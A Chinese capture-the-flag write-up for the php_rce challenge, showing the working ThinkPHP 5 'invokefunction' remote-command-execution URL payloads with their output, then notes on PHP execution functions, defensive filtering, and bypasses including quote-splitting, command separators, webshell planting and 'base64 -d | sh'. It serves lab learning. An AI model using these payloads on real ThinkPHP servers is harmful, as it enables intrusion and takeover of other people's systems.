2024.12.6——攻防世界php_rce

news2025/1/26 2:12:09

知识点:PHP框架 RCE远程命令执行

  • PHP常用框架:php常用的7大框架_php框架-CSDN博客

1.小型项目:CodeIngiter

2.中型项目:CakePHP、Zend Framework、Laravel、Thinkphp

3.大型重量级项目:Yii、Symfony、Laravel

使用PHP框架优点:更快的开发效率、减少编写代码量、拥有常见任务库、遵循良好的编码习惯、漏洞更少、便于技术团队合作、易于维护

  • RCE远程命令执行:RCE远程命令执行学习_rce操作-CSDN博客

    远程命令/代码执行漏洞(RCE)总结_可能造成远程代码执行的函数-CSDN博客

要点:RCE(remote command/code execute)。分为远程命令执行ping以及远程代码执行evel。漏洞出现的原因是没有在输入口做输入处理。我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。

即RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或代码,从而控制后台系统。攻击者需要能进行ping操作的web界面,以及掌握能执行系统命令的函数、管道符、转义字符、注释符号、空格过滤、黑名单绕过(拼接绕过、单双引号绕过、编码绕过、反斜线、通配符绕过等)

一、解题思路

step 1 打开靶机,审题

发现首页是一个php框架,根据题目:php-rce是php中的远程命令执行,所以看一下ThinkPHP V5 这个版本有什么漏洞(可以去Github看)

step 2 找到RCE漏洞

查询到的漏洞

复制对应的payload(第3条),进行url传参查询,输入

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

显示以下回显

uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)

说明可以进行远程命令执行

step 3 进行RCE攻击

用ls进行查看目录,输入payload

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

得到以下回显

favicon.ico index.php robots.txt router.php static static

进行查询index.php文件

step 3 寻找flag

方法一 find命令查找与flag相关文件 find / -name flag

payload为

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name flag

得到以下回显

/flag /flag
方法二 目录穿越

以ls为核心进行目录穿越

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls ../../../

得到以下回显

bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var var

看到flag文件

step 4 查询flag

输入以下payload

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

得到flag:flag{thinkphp5_rce}

二、总结 来自攻防世界-php_rce - -ro0t - 博客园

(1)什么是rce

RCE(remote command/code execute)。分为远程命令执行ping以及远程代码执行evel。漏洞出现的原因是没有在输入口做输入处理。我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。

(2)php中的命令执行

【1】exec(command,output,return_var)

执行一个外部程序,exec() 执行 command 参数所指定的命令。exec执行系统外部命令时不会输出结果,而是返回结果的最后一行。如果想得到结果,可以使用第二个参数,让其输出到指定的数组。此数组一个记录代表输出的一行。即如果输出结果有20行,则这个数组就有20条记录,所以如果需要反复输出调用不同系统外部命令的结果,最好在输出每一条系统外部命令结果时使用以下命令清空这个数组unset(output) ,以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0。

【2】system(command,return_var)

函数执行 command 参数所指定的命令, 并且输出执行结果。 system和exec的区别在于,system在执行系统外部命令时,直接将结果输出到浏览器,如果执行命令 成功则返回true,否则返回false。第二个参数与exec第三个参数含义一样。

【3】passthru(command,return_var)

执行外部程序并且显示原始输出同exec()函数类似,passthru()函数也是用来执行外部命令(command)的如果要获取一个命令未经任何处理的原始输出,请使用passthru() 函数。当所执行的Unix命令输出二进制数据,并且需要直接传送到浏览器的时候,需要用此函数来替代exec()或system()函数。

passthru与system的区别:passthru直接将结果输出到浏览器,不返回任何值,且其可以输出二进制

【4】shell_exec(command)

通过shell环境执行命令,并且将完整的输出以字符串的方式返回。

【5】popen(command,mode)

打开进程文件指针,打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。只能打开单向管道,不是’r’就是’w’;并且需要使用 pclose() 来关闭。

【6】window com

之前的php中的命令执行方法都是通过函数,命令执行还可以通过实例化一个类的方式,比如实例化一个com类,并调用exec方法。

(3)php中代码执行的情况

【1】eval(code)

把字符串 code 作为PHP代码执行,eval() 函数传入的参数必须为PHP代码,即要以分号结尾。 函数eval()语言结构是非常危险的,因为它允许执行任意PHP代码。不要允许传入任何由用户提供的、未经完整验证过的数据。

【2】assert(assertion)

如果 assertion 是字符串,它将会被 assert() 当做PHP代码来执行。检查一个断言是否为 FALSE 。assert()函数是直接讲传入的参数当成PHP代码执行,不需要以分号结尾。

【3】preg_replace(pattern,replacement,subject)

pattern是匹配规则,replacement是替换语句,subject是替换对象。其中pattern可以

用修饰符,值得注意的是一般情况下修饰符直接用/e就可以将代码执行之后的结果作为匹配规则带入,但是在php7.0.0和5.5.0版本/e被弃用,用preg_replace_callback()函数代替。

【4】array_map(callback,array)

返回数组,是为 array1 每个元素应用callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

【5】create_function(arg,code)

arg是变量,code是代码。从传递的参数创建一个匿名函数,并为其返回唯一的名称。通常这些参数将作为单引号分隔的字符串传递。使用单引号的原因是为了保护变量名不被解析,否则,如果使用双引号,就需要转义变量名

【6】call_user_func(callback,parameter)

第一个参数callback是被调用的回调函数,其余参数是回调函数的参数。把第一个参数作为回调函数调用。

【7】call_user_func_array(callback,array)

把callback参数作为回调函数,把参数array作为回调函数的的参数传入。调用回调函数,并把array中的某一个元素的值作为回调函数的参数。

【8】array_filter(array,callback)

用回调函数过滤数组中的单元依次将array数组中的每个值传递到callback函数。如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

(4)一般的过滤方法

【1】用功能模块对输入做过滤

说明:有‘白名单’和‘黑名单’两种形式,白名单更绝对但在某些情况下就不适用

【2】禁用高危系统函数

说明:首先是上面所提的函数,其它函数还有phpinfo()、fsockopen()、readlink()等

【3】开启php安全运行模式

说明:在php.ini文件中把safe_mode变量的值设为on,之后开启。当安全模式打开的时候,一些尝试访问文件系统的函数功能将被限制。以下函数列表的功能将会受到限制:chdir,move_uploaded_file,chgrp,parse_ini_file,chown,rmdir,copy,rename,fopen,require,highlight_file,show_source,include,symlink,link,touch,mkdir,unlink一些php扩展中的函数将会受到影响。在php安全模式打开的时候,需要执行系统程序的时候,必须是在safe_mode_exec_dir选项指定目录的程序,否则执行将失败。即使允许执行,那么也会自动的传递给escapeshellcmd函数进行过滤。以下执行命令的函数列表将会受到影响:exec,shell_exec,passthru,system,popen(escapeshellcmd类似sql的预编译,都是将一段输入作为字符串,不会执行。具体方法是在输入两端加入单引号)

(5)一般绕过方法

【1】过滤某些字符串

做ctf时过滤’flag’,‘ctf’,‘cat’,‘more’,‘less’,‘tac’…等等字符串,面对这一类的过滤,有两种过滤方式,第一种是使用没有过滤的字符串,第二种是在被过滤的字符串中加入引号,如将cat变为ca’'t这样就能实现绕过。

【2】过滤某些运算符

像是’|’、’&’、’;’、’||’、’&&’、’>’、’/’…。实际情况如在ping功能的后面管道符或者‘&&’构造如下语句”ping ip && 系统命令“。面对这一类过滤方式,用黑名单之外的字符就好,比如过滤了&&那么就用;来实现rce,还要一说的是在不同语句间加入%0a也能实现多命令执行。

【3】文件包含+rce

有时候通过文件包含的方式能实现一个rce,在php中文件包含的函数有include()、require()、require_once()等等

【4】伪协议使用

用file://、php://input、php://filter、zip://之类的伪协议实现rce,不知道伪协议的同学可以在我的博客中看php伪协议的文章

【6】构造后门webshell

远程rce之后使用如下的方法在目标电脑中加入一句话木马,”echo ‘木马’ > 文件的绝对路径“,再用蚁剑,哥斯拉,behinder之类的webshell工具远距离连接。

【7】编码的方式来解决

比如通过char()、base64_decode()两个函数,在经过php代码块的前提下可以将代码编码之后用ascii编码方式、base64编码方式绕过。值得一提的是在linux中也有内置base64解码语句,我们可以用linux中的解码语句进行绕过语句构造如下“base64 -d 【code】”,最后可以再通过管道符执行构造语句如下“base64 -d 【code】| sh“来实现绕过。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2256677.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

autogen 人工输入模式

一、Allowing Human Feedback in Agents 允许代理中的人类反馈 发起聊天 (initiate_chat) 功能:用于启动对话过程。 参数:max_turns:限制对话的最大回合数。如果设置为3,意味着对话将在第三个回合后自动终止,除非提前…

网络渗透实验四(渗透课)

实验目的和要求实验目的:通过对目标靶机的渗透过程,了解CTF竞赛模式,理解CTF涵盖的知识范围,如MISC、PPC、WEB等,通过实践,加强团队协作能力,掌握初步CTF实战能力及信息收集能力。熟悉网络扫描、…

C++_关于异常处理throw-try-catch

文章目录 作用1. 无异常捕获2. 有异常捕获 作用 简单说,异常处理机制主要作用是让程序能够继续执行,或者以一种可控的方式终止,而非让程序因为错误直接崩溃 一个简单的动态数组类,来看看有异常捕获和无异常捕获的区别 1. 无异常…

LabVIEW氢同位素单质气体定量分装系统

氢同位素单质气体在多个行业中有重要应用,如能源和化工。传统的分装方法面临精度和自动化程度不足的问题。为此,开发了一套基于LabVIEW和质量流量控制器的定量分装系统,提高分装精度和效率,同时减少资源浪费和环境污染。 项目背景…

第427场周赛: 转换数组、用点构造面积最大的矩形 Ⅰ、长度可被 K 整除的子数组的最大元素和、用点构造面积最大的矩形 Ⅱ

Q1、转换数组 1、题目描述 给你一个整数数组 nums&#xff0c;它表示一个循环数组。请你遵循以下规则创建一个大小 相同 的新数组 result &#xff1a; 对于每个下标 i&#xff08;其中 0 < i < nums.length&#xff09;&#xff0c;独立执行以下操作&#xff1a; 如…

华为服务器使用U盘重装系统

一、准备工作 下载官方系统&#xff08;注意服务器CPU的架构是x86-64还是aarch64&#xff0c;不然可能报意想不到的错&#xff09;制作启动U盘&#xff08;下载rufus制作工具&#xff0c;注意文件系统选FAT32还是NTFS&#xff09; 二、安装步骤 将U盘插入USB接口重启服务器…

java八股-流量封控系统

文章目录 请求后台管理的频率-流量限制流量限制的业务代码UserFlowRiskControlFilter 短链接中台的流量限制CustomBlockHandler 对指定接口限流UserFlowRiskControlConfigurationSentinelRuleConfig 请求后台管理的频率-流量限制 根据登录用户做出控制&#xff0c;比如 x 秒请…

Nginx限流实践-limit_req和limit_conn的使用说明

注意&#xff1a; 本文内容于 2024-12-07 19:38:40 创建&#xff0c;可能不会在此平台上进行更新。如果您希望查看最新版本或更多相关内容&#xff0c;请访问原文地址&#xff1a;Nginx限流实践。感谢您的关注与支持&#xff01; 一、限流 之前我有记录通过CentOS7定时任务实…

centos9升级OpenSSH

需求 Centos9系统升级OpenSSH和OpenSSL OpenSSH升级为openssh-9.8p1 OpenSSL默认为OpenSSL-3.2.2&#xff08;根据需求进行升级&#xff09; 将源码包编译为rpm包 查看OpenSSH和OpenSSL版本 ssh -V下载源码包并上传到服务器 openssh最新版本下载地址 wget https://cdn.openb…

【CSS in Depth 2 精译_068】11.2 颜色的定义(下):CSS 中的各种颜色表示法简介

当前内容所在位置&#xff08;可进入专栏查看其他译好的章节内容&#xff09; 第四部分 视觉增强技术 ✔️【第 11 章 颜色与对比】 ✔️ 11.1 通过对比进行交流 11.1.1 模式的建立11.1.2 还原设计稿 11.2 颜色的定义 11.2.1 色域与色彩空间11.2.2 CSS 颜色表示法 ✔️ 11.2.2.…

16-02、JVM系列之:内存与垃圾回收篇(二)

JVM系列之&#xff1a;内存与垃圾回收篇(二) ##本篇内容概述&#xff1a; 1、堆Heap Area 2、方法区Method Area 3、运行时数据区总结 4、对象的实例化内存布局和访问定位一、堆 Heap Area 1、堆的核心概念 一个JVM实例只存在一个堆内存&#xff0c;堆也是Java内存管理的核心…

一文了解模式识别顶会ICPR 2024的研究热点与最新趋势

简介 对模式识别研究领域前沿方向的跟踪是提高科研能力和制定科研战略的关键。本文通过图文并茂的方式介绍了ICPR 2024的研究热点与最新趋势&#xff0c;帮助读者了解和跟踪模式识别的前沿研究方向。本推文的作者是黄星宇&#xff0c;审校为邱雪和许东舟。 一、会议介绍 ICPR…

网络安全知识:网络安全网格架构

在数字化转型的主导下&#xff0c;大多数组织利用多云或混合环境&#xff0c;包括本地基础设施、云服务和应用程序以及第三方实体&#xff0c;以及在网络中运行的用户和设备身份。在这种情况下&#xff0c;保护组织资产免受威胁涉及实现一个统一的框架&#xff0c;该框架根据组…

树莓集团是如何链接政、产、企、校四个板块的?

树莓集团作为数字影像行业的积极探索者与推动者&#xff0c;我们通过多维度、深层次的战略举措&#xff0c;将政、产、企、校四个关键板块紧密链接在一起&#xff0c;实现了资源的高效整合与协同发展&#xff0c;共同为数字影像产业的繁荣贡献力量。 与政府的深度合作政府在产业…

关于睡懒觉

我们经常听到一个词&#xff1a;睡懒觉。 我认为&#xff0c;睡懒觉这个词&#xff0c;是错误的。 人&#xff0c;是需要睡眠的&#xff0c;睡不够&#xff0c;就不会醒。睡够了&#xff0c;自然会醒&#xff0c;也不想继续睡。不信你试试&#xff0c;睡够了&#xff0c;你…

简单的动态带特殊符号敏感词校验

简单的动态带特殊符号敏感词校验 敏感词之前进行了简单了解&#xff0c;使用结巴分词自带词库可以实现&#xff0c;具体参考我的如下博文 敏感词校验 此次在此基础进行了部分优化&#xff0c;优化过程本人简单记录一下&#xff0c;具体优化改造步骤如下所示 1.需求 我们公司…

C++(十二)

前言&#xff1a; 本文将进一步讲解C中&#xff0c;条件判断语句以及它是如何运行的以及内部逻辑。 一&#xff0c;if-else,if-else语句。 在if语句中&#xff0c;只能判断两个条件的变量&#xff0c;若想实现判断两个以上条件的变体&#xff0c;就需要使用if-else,if-else语…

【Redis】Redis基础——Redis的安装及启动

一、初识Redis 1. 认识NoSQL 数据结构&#xff1a;对于SQL来说&#xff0c;表是有结构的&#xff0c;如字段约束、字段存储大小等。 关联性&#xff1a;SQL 的关联性体现在两张表之间可以通过外键&#xff0c;将两张表的数据关联查询出完整的数据。 查询方式&#xff1a; 2.…

Devops 实践

Devops 实践 基本概念jenkins实践安装jenkins仓库环境准备代码环境准备第一次构建持续集成持续部署集成插件 优秀实践心得体会 参考 摘要&#xff1a;本文首先将介绍一些基本概念&#xff0c;包括Devops&#xff0c;CI/CD等&#xff0c;然后基于知名开源CI/CD工具jenkins进行实…

学生信息管理系统(简化版)数据库部分

使用Mysql&#xff0c;与navicat工具 下面是mysql创建的代码&#xff0c;可做必要修改 -- 创建学生学籍信息表 CREATE TABLE StudentEnrollment (-- 学号&#xff0c;作为主键student_id VARCHAR(8) NOT NULL,-- 学生姓名stu_name VARCHAR(8) NOT NULL,-- 学生性别gender VARC…